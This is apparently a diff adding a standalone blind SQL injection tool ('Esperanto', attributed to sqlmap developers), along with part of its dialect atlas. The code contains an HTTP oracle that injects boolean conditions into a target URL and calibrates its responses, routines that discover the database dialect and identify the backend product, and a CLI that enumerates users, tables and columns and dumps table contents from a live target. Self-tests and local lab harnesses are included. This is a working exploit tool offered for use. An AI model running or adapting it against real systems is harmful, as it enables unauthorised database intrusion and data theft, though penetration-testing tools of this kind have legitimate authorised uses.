sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'Admin-42')") + con.commit() + pat = _re.compile(block) if block else None + + def oracle(condition): + if pat and pat.search(condition): + return False + try: + cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition) + return cur.fetchone()[0] == 1 + except sqlite3.DatabaseError: + # unsupported/rejected SQL is a valid negative capability result; only + # transport/observation failures are allowed to raise (oracle contract) + return False + + return oracle + + +def _selftest(): + # exercise every compare mode against one byte-ordered, case-sensitive backend + # (SQLite) by selectively refusing constructs - proves each extraction path + code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\(" + coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW" + hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR" + modes = ( + ("code", None), + ("collation", r"(?i)(%s)" % code), + ("hex", r"(?i)(%s|%s)" % (code, coll)), + ("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)), + ) + for expected, block in modes: + esp = Esperanto(_sqliteOracle(block=block)) + dialect = esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare) + assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got) + print(" %-8s mode: %-52r -> extracted %r in %d queries" % ( + expected, dialect, got, esp.queryCount)) + # equality mode exercised directly (charset scan) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.dialect.compare = "equality" + assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42" + print(" equality mode: charset-scan extraction -> OK") + + # the detective: name the backend blind + esp = Esperanto(_sqliteOracle()) + esp.discover() + verdict = esp.identify() + assert verdict["product"] == "SQLite", "identify failed: %r" % verdict + print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict) + + # bytes-first extraction: byte-exact, encoding chosen by the caller + esp = Esperanto(_sqliteOracle()) + esp.discover() + mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source) + raw = esp.extractBytes(mb) + assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw + assert esp.extractText(mb) == u"A\xe9\u20ac" + print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb))) + + # quorum: a noisy oracle that flips/errors a minority of probes must not corrupt. + # tested across several seeds so the pass doesn't hinge on one lucky sequence. + import random as _random + for seed in (1234, 7, 99, 2026): + base = _sqliteOracle() + rng = _random.Random(seed) + + def noisy(cond, _b=base, _r=rng): + roll = _r.random() + if roll < 0.12: + raise RuntimeError("transient") # 12% errors (resampled) + if roll < 0.20: + return not _b(cond) # 8% lies + return _b(cond) + + esp = Esperanto(noisy, quorum=6) + esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got) + print(" quorum=6 under 20%% noisy oracle (12%% err + 8%% lies) -> 'Admin-42' across 4 seeds") + + # -- integrity guards (peer-review round 4) -------------------------------- + # empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated + assert not ExtractResult("") and not ExtractResult(None) + esp = Esperanto(_sqliteOracle()) + esp.discover() + zero = esp.extractResult("'abc'", limit=0) + assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero + # an invalid expression must NOT masquerade as a complete SQL NULL + bad = esp.extractResult("NO_SUCH_FN(1)") + assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad + # integer extraction must raise, not saturate + try: + esp.extractInteger("100", maximum=10) + assert False, "extractInteger saturated silently" + except OverflowError: + pass + # an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees: + # (a) discovery aborts (a broken oracle can't manufacture a working dialect); while + # probing candidate rungs an unobservable probe reads False, so sanity fails -> + # RuntimeError, never a bogus discovered dialect + try: + Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover() + assert False, "broken oracle silently discovered a dialect" + except RuntimeError: + pass + # (b) a DATA READ never manufactures False from an unobservable probe: it raises + # OracleUndecided (the whole point - a flaky read must not corrupt a bit) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery + try: + esp.extract("(SELECT MAX(name) FROM users)") + assert False, "undecided oracle silently became data" + except OracleUndecided: + pass + # embedded/leading NUL must not truncate (whole-value verification recovers it) + import sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (a TEXT)") + con.execute("INSERT INTO t VALUES (?)", ("A\x00B",)) + con.commit() + + def nulOracle(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(nulOracle) + esp.discover() + nul = esp.extractResult("(SELECT a FROM t)") + assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul + + # -- round-5 adversarial regressions -------------------------------------- + esp = Esperanto(_sqliteOracle(), maxlen=0) + esp.discover() + z = esp.extractResult("'abc'") + assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z + esp = Esperanto(_sqliteOracle()) + esp.discover() + for bad in (("-100", 10), ("100", 10)): # symmetric integer cap + try: + esp.extractInteger(bad[0], maximum=bad[1]) + assert False, "int cap not enforced for %s" % bad[0] + except OverflowError: + pass + try: # None observation -> undecided + Esperanto(lambda c: None, retries=0)._ask("1=1") + assert False, "None became False" + except OracleUndecided: + pass + try: # hard query budget + Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1") + assert False, "budget not enforced" + except QueryBudgetExceeded: + pass + esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode + esp.discover() + esp.dialect.compare = "equality" + try: + esp.poc("'A'") + assert False, "equality-mode PoC fabricated ordering" + except RuntimeError: + pass + # a UTF-16 code-unit fn returning an isolated surrogate must not be "complete" + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('\U0001F642')") + con.create_function("ASCII", 1, lambda x: None if not x else ( + ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10))) + con.commit() + nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR") + + def surOracle(cond): + if nohex.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(surOracle) + esp.discover() + sur = esp.extractResult("(SELECT v FROM s)") + assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur + + print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded") + + # -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface -- + oracle = _sqliteOracle() + esp = Esperanto(oracle) + esp.discover() + strat = esp.strategy() + try: # immutable + strat.compare_mode = "x" + assert False, "strategy is not frozen" + except AttributeError: + pass + # extract using ONLY the strategy + oracle (no Esperanto retrieval code) + got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)") + assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got + row = strat.asQueriesRow() + assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row + print(" strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value)) + print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)") + + +def _livetest(only=None, waf=False): + """Live blind validation against real DBMS instances (dev harness, '--live'). + Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as + False, the transaction rolled back per probe - and is never told which engine it + is poking. Requires the driver + a reachable instance; skips what it can't reach.""" + import re as _re + SECRET = "Zagreb-Ka5tel" + block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None + + def cursor(con, wrap): + def ask(cond): + if block and block.search(cond): + return False + cur = con.cursor() + try: + cur.execute(wrap % cond) + row = cur.fetchone() + return bool(row) and int(row[0]) == 1 + except Exception: + try: + con.rollback() + except Exception: + pass + return False + finally: + try: + cur.close() + except Exception: + pass + return ask + + def prep(con, ddl): + cur = con.cursor() + for stmt in ddl: + try: + cur.execute(stmt) + except Exception: + if hasattr(con, "rollback"): + con.rollback() + con.commit() + cur.close() + + def sqlite(): + import sqlite3 + con = sqlite3.connect(":memory:") + prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def mysql(): + import pymysql + con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def postgres(): + import psycopg2 + con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def oracle(): + import oracledb + con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1") + prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;", + "CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL") + + def mssql(): + import pymssql + con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master") + prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe", + "CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + ok = True + for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres), + ("Oracle", oracle), ("MSSQL", mssql)): + if only and name.lower() not in only: + continue + try: + oracle_fn = factory() + except Exception as ex: + print(" %-12s SKIP (%s)" % (name, ex)) + continue + esp = Esperanto(oracle_fn) + try: + esp.discover() + got = esp.extract("(SELECT MAX(name) FROM esp_probe)") + product = esp.identify()["product"] + except Exception as ex: + print(" %-12s FAIL (%s)" % (name, ex)) + ok = False + continue + passed = got == SECRET + ok = ok and passed + print(" %-12s %s product=%-12r secret=%r%s" % ( + name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else "")) + return ok + + +def _httpOracle(url, data=None, cookie=None, headers=None, string=None, code=None): + """A boolean oracle over a real HTTP target, for standalone use. The condition is + substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply + the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with + ` AND ()`. + + True/false is decided by a reduced port of sqlmap's response differentiation - the + Pareto 80%: explicit --string/--code win; otherwise it CALIBRATES from + two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable + signal - HTTP status code, else a stable text line present in true but not false, + else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it + robust: DYNAMIC content (lines that differ between two identical true requests, e.g. + timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed + from the body so it can't skew the match (sqlmap's "reflective values ... filtering + out"). Not a replacement for checkBooleanExpression - just its high-value core.""" + import difflib + try: # py3 + from urllib.parse import quote as _quote, urlsplit + from http.client import HTTPConnection, HTTPSConnection + except ImportError: # py2 + from urllib import quote as _quote + from urlparse import urlsplit + from httplib import HTTPConnection, HTTPSConnection + + if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")): + url = url + "*" # no marker given -> inject at the end of the URL by default + print("[i] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url) + + # ONE kept-alive connection reused across every probe. a blind dump is thousands of + # requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of + # pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x. + _conn = {"c": None, "key": None} + + def _fresh(scheme, netloc): + return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30) + + def fetch(cond): + # encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a + # '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the + # parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape. + if "[INFERENCE]" in (url + (data or "")): # verbatim marker (caller owns context) + payload = _quote(cond, safe="") + u_raw = url.replace("[INFERENCE]", payload) + d_raw = data.replace("[INFERENCE]", payload) if data else data + else: # '*' -> boolean AND at the mark + ins = _quote(" AND (%s)" % cond, safe="") + u_raw = url.replace("*", ins, 1) if "*" in url else url + d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data + parts = urlsplit(u_raw) # the surrounding URL is already user-encoded + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + body = d_raw.encode("utf-8") if d_raw else None + method = "POST" if body else "GET" + hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"} + if body: + hdrs["Content-Type"] = "application/x-www-form-urlencoded" + if cookie: + hdrs["Cookie"] = cookie + for h in (headers or []): + k, _, v = h.partition(":") + hdrs[k.strip()] = v.strip() + key = (parts.scheme, parts.netloc) + for attempt in (1, 2): # reuse the socket; reconnect once if it dropped + if _conn["c"] is None or _conn["key"] != key: + if _conn["c"] is not None: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key + try: + _conn["c"].request(method, path, body, hdrs) + resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise) + raw, status = resp.read(), resp.status # read fully so the socket stays reusable + return raw.decode("utf-8", "replace"), status + except Exception: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"] = None # force a reconnect on the retry + return None, None # transport FAILED -> undecided, NOT ("",0) + # (an empty body must never look like a False page) + + dyn = set() + + def _deReflect(body, cond): + return body.replace(cond, "") if cond else body # drop the reflected payload + + def _clean(body, cond): + body = _deReflect(body, cond) + return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body + + mode, wanted, base = None, None, {} + if string is not None: + mode = "string" + elif code is not None: + mode, wanted = "code", int(code) + else: # auto-calibrate + (t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2") + if t1 is None or t2 is None or f1 is None: + raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request") + dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic + tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2") + if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false + mode, wanted = "code", s1 + else: + # (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is + # in the true page but not the false one, capped to a "longish" string (never the + # whole document) and verified stable across BOTH true baselines + t2c = _clean(t2, "1=1") + blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes() + chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks + if op in ("insert", "replace")), key=len, reverse=True) + wanted = None + for chunk in chunks: + marker = chunk[:64] # bounded, distinctive marker + if len(marker) >= 6 and marker in t2c and marker not in fc: + mode, wanted = "autostring", marker + break + if wanted is None: # (3) similarity ratio floor + mode, base = "ratio", {"t": tc, "f": fc} + if string is None: + print("[i] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) + + def classify(cond): + body, status = fetch(cond) + if body is None: # transport failure -> UNDECIDED (tri-state): + return None # let the engine retry/degrade, never a fake bool + if mode == "string": + return string in body + if mode == "code": + return status == wanted + if mode == "autostring": + return wanted in _clean(body, cond) + c = _clean(body, cond) + st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio() + sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio() + if abs(st - sf) < _RATIO_MARGIN: # too close to call -> undecided, not a coin-flip + return None + return st > sf + + state = {"n": 0, "dead": False} + + def oracle(cond): + # PERIODIC control revalidation: over thousands of requests the baseline can drift + # (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes + # re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather + # than keep feeding a broken model into bisection. + state["n"] += 1 + if state["n"] % 256 == 0 or state["dead"]: + t, f = classify("1=1"), classify("1=2") + state["dead"] = not (t is True and f is False) + if state["dead"]: + print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f)) + return None + return classify(cond) + + return oracle + + +def _safeterm(s): + """Neutralize control/escape bytes in DB content before it reaches the terminal - stored + values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes + that would otherwise manipulate or forge the operator's console.""" + if s is None: + return s + # escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI + # introducer, so leaving the C1 range through would still let stored content drive the terminal + return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s) + + +def _printTable(columns, rows): + """Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins.""" + cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows] + widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))] + bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+" + line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |" + print(bar) + print(line(columns)) + print(bar) + for r in cells: + print(line(r)) + print(bar) + + +import binascii as _binascii +_HEX = set("0123456789abcdefABCDEF") + + +def _previewFramed(partial): + """A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress + token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles + BOTH grammars: length-framed `V:;` / `N;` and the legacy `V` / `N` (','-sep). + Returns None when `partial` isn't a framed payload.""" + if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial): + return None + + def _dec(h): + h = h[:len(h) - (len(h) % 2)] # only WHOLE bytes so far + try: + return _binascii.unhexlify(h).decode("utf-8", "replace") + except Exception: + return "?" + + out = [] + if ";" in partial or ":" in partial: # length-framed grammar: V:; / N; + for t in partial.split(";"): + if not t: + continue + if t == "N": + out.append("NULL") + elif t.startswith("V"): + _lp, _sep, hx = t[1:].partition(":") + out.append(_dec(hx)) + return ", ".join(out) + for t in partial.split(","): # legacy grammar + if t == "N": + out.append("NULL") + elif t.startswith("V"): + out.append(_dec(t[1:])) + return ", ".join(out) + + +def _scalar(esp, expr): + """A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact + (truncated / case-ambiguous / unverified) value is shown with its status, never as if exact.""" + r = esp.extractResult(expr) + if r.value is None: + return "NULL" if r.is_null else "n/a (unresolved)" + return _safeterm(r.value) if r.exact else "%s [%s]" % (_safeterm(r.value), r.integrity) + + +def _report(esp, args): + """Run the requested action(s) against a discovered target and print the results.""" + print("[*] dialect: %r" % esp.dialect) + verdict = esp.identify() + print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or "")) + # scope schema/db lookups to -D, else the current database (and, for a specific table, + # the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system + # schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a + # garbage 0-row dump. mirrors the sqlmap handler's _scopeFor. + scope = args.db + if scope is None and (args.tables or args.columns or args.dump): + dbexpr = esp.dialect.identity.get("database") + try: + r = esp.extractResult(dbexpr) if dbexpr else None + # the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous + # spelling would mis-target (merge a system-schema table, yield a 0-row dump), so + # require a byte-exact read, exactly as the sqlmap handler's _safeExtract does. + cur = r.value if (r and r.exact) else None + if r and r.value and not r.exact: + print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity) + except Exception: + cur = None + if args.tbl and (args.columns or args.dump): + try: + scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur) + except Exception: + scope = cur + else: + scope = cur + if scope: + print("[i] scoping to database/schema: %s" % scope) + if args.current_user: + expr = esp.dialect.identity.get("user") + print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a")) + if args.current_db: + expr = esp.dialect.identity.get("database") + print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a")) + if args.tables: + print("[i] fetching tables ...") + print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or [""])) + if args.columns: + if not args.tbl: + print("[!] --columns needs -T ") + else: + print("[i] fetching columns for '%s' ..." % args.tbl) + print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or [""]))) + if args.dump: + if not args.tbl: + print("[!] --dump needs -T
") + else: + cols = [c.strip() for c in args.col.split(",")] if args.col else None + if cols is None: # enumerate columns FIRST (own phase), so the + print("[i] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names + cols = esp.columns(args.tbl, schema=scope) or None + print("[i] fetching entries for table '%s' ..." % args.tbl) + # NO silent internal cap: dump ALL rows (bounded by the live COUNT) and always + # print whether the result came back complete. + try: + limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10 + except Exception: + limit = 1 << 30 + result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit) + if not result or not result["columns"]: + print("[!] could not dump %s" % args.tbl) + else: + tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort") + if not result.get("exact", True): # coverage complete but content collation-dependent + tag += " - INEXACT (case/accents may differ)" + print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag)) + _printTable(result["columns"], result["rows"]) + + +def _banner(): + # modest CLI identity, sqlmap-styled: a small globe (DBMS-agnostic/universal) + the Esperanto + # green star. Colored only on a TTY; pure-ASCII (no coding header on this file); text columns + # aligned at a fixed offset so the escape codes (zero display width) don't skew them. + import sys as _sys + tty = _sys.stdout.isatty() + G = "\033[0;32m" if tty else "" # esperanto green (the globe) + S = "\033[1;32m" if tty else "" # bright green (the star) + W = "\033[1;37m" if tty else "" # bold white (the name) + U = "\033[4;37m" if tty else "" # underline (the site) + R = "\033[0m" if tty else "" + return ( + " %(G)s___%(R)s\n" + " %(G)s/ _ \\%(R)s %(W)sesperanto%(R)s {%(ver)s}\n" + " %(G)s| (_) |%(R)s\n" + " %(G)s\\___/ %(S)s*%(R)s %(U)s%(site)s%(R)s\n" + ) % dict(G=G, S=S, W=W, U=U, R=R, ver=__version__, site=_SITE) + + +def main(argv=None): + """Standalone entry point: drive the engine against a live HTTP target.""" + import argparse + + class _Formatter(argparse.HelpFormatter): + # show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'), + # like sqlmap's own help, so option/help stays on a single line + def __init__(self, prog): + argparse.HelpFormatter.__init__(self, prog, max_help_position=28) + + def _format_action_invocation(self, action): + if not action.option_strings or action.nargs == 0: + return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action) + metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar + return "%s %s" % (", ".join(action.option_strings), metavar) + + parser = argparse.ArgumentParser( + prog="esperanto", formatter_class=_Formatter, + usage="esperanto -u URL [options]", # short synopsis, not an auto-listing of every flag + description="DBMS-agnostic blind-SQLi enumeration engine (standalone)") + parser.add_argument("--version", action="version", version="esperanto %s (%s)" % (__version__, _SITE)) + parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)") + parser.add_argument("--data", help="POST data string") + parser.add_argument("--cookie", help="HTTP Cookie header") + parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)") + parser.add_argument("--string", help="match string for a True response") + parser.add_argument("--code", type=int, help="HTTP code for a True response") + parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner") + parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user") + parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database") + parser.add_argument("--tables", action="store_true", help="enumerate tables") + parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)") + parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)") + parser.add_argument("-D", dest="db", help="database/schema to enumerate") + parser.add_argument("-T", dest="tbl", help="table to enumerate") + parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)") + # internal dev/test harness switches - functional but hidden from --help (--live drives the + # local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass) + parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS) + args, engines = parser.parse_known_args(argv) + + if args.live: + names = [a.lower() for a in engines if not a.startswith("-")] + return 0 if _livetest(only=names or None, waf=args.waf) else 1 + if args.selftest: # self-test only on EXPLICIT request + _selftest() + return 0 + print(_banner()) # CLI identity (after the dev-harness paths above) + if not args.url: # no target and nothing to do -> show help, don't surprise + parser.print_help() + return 1 + + target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL + esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header, + args.string, args.code)) + import sys as _sys + _tty = _sys.stdout.isatty() + def _charLive(partial, total): + # LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in + # place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when + # complete, so it can't collide with the next message. Framed rows preview as cells. + shown = _previewFramed(partial) + if shown is None: + shown = partial + _sys.stdout.write("\r\033[K[i] retrieved: %s" % _safeterm(shown[-200:])) + if len(partial) >= total: # value complete -> keep it and drop to a new line + _sys.stdout.write("\n") + _sys.stdout.flush() + def _plainLive(value): # piped/non-tty: one plain line per value, no control codes + _sys.stdout.write("[i] retrieved: %s\n" % _safeterm(value)) + _sys.stdout.flush() + if _tty: + esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal + else: + esp._progress = _plainLive # logs/pipes get clean per-value lines instead + print("[i] discovering the back-end SQL dialect (agnostic mode) ...") + try: + esp.discover() + _report(esp, args) + except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback + print("[!] could not establish a working boolean oracle (%s)" % ex) + print(" check the target is reachable and injectable, and the marker/--string/--code are right") + return 1 + except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback + print("\n[!] aborted by user") + return 1 + return 0 + + +if __name__ == "__main__": + import sys + sys.exit(main()) diff --git a/extra/esperanto/atlas.py b/extra/esperanto/atlas.py new file mode 100644 index 00000000000..8e65af9b133 --- /dev/null +++ b/extra/esperanto/atlas.py @@ -0,0 +1,508 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a +dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only, +no logic. Each table is (name, template, ...); templates use str.format fields such as +{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is +written as a \\uXXXX escape so it is always obvious which code point is meant. +""" + +from __future__ import print_function + +import binascii + + +def _unhexlify(value): + """Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it.""" + if isinstance(value, type(u"")): + value = value.encode("ascii") + return binascii.unhexlify(value) + + +def _isSingleUnicodeScalar(value): + """True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair).""" + if len(value) == 1: + return True + return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and + 0xDC00 <= ord(value[1]) <= 0xDFFF) + + +# string concatenation of {a} and {b} (operator or function form) +_CONCAT = ( + ("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI) + ("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB + ("plus", "({a})+({b})"), # MSSQL/Sybase + ("amp", "({a})&({b})"), # MS Access +) + + +# 1-based substring: {len} characters of {expr} starting at {pos} +_SUBSTRING = ( + ("SUBSTR", "SUBSTR(({expr}),{pos},{len})"), + ("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"), + ("MID", "MID(({expr}),{pos},{len})"), + ("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"), + ("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"), + ("substring_lc", "substring(({expr}),{pos},{len})"), + # LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT + # but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which + # is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to + # RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general + # fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so + # it is deliberately kept length-free and len=1-scoped. + ("left_right", 